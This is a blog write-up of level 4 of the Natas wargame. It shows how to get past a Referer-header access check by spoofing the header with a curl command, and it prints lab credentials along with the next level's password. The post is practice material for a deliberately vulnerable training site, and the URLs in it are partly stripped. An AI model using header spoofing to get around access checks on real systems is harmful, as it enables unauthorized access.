Natas- level 4 Writeup

In this level we login with the credentials given at the previous level.


After a while a clue is being given on the front end itself. It says users should come only from “” which means there is a referer checck involved we can do this via many ways.

If you are using chrome check this add on Referer Control with this easy referer manipulator you can get this over with in a jiffy

buut if you insist that you wont take the GUI way follow me 😉

we can manipulate the referer using the cURL command.

so open up cmd and enter the folowing

curl –user natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ –referer

this will result in the webpage source rendered in the cmd

C:\Users\rhadmael>curl --user natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ --refere
r http://natas4.natas.labs.overthewire
<!-- This stuff in the header has nothing to do with the level -->
	<link rel="stylesheet" type="text/css" href="
	<link rel="stylesheet" href="
" />
	<link rel="stylesheet" href=""
<script src=""></script>
<script src=""></script>
<script src=></script><scrip
t src=""></script>
<script>var wechallinfo = { "level": "natas4", "pass": "Z9tkRkWmpt9Qr7XrR5jWRkgO
U901swEZ" };</script></head>
<div id="content">

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
<div id="viewsource"><a href="index.php">Refresh page</a></div>

in the rendered data the credentials or the next level are given.

Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

Follow the next post for NATAS 5 Write Up



Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s

Powered by

Up ↑

%d bloggers like this: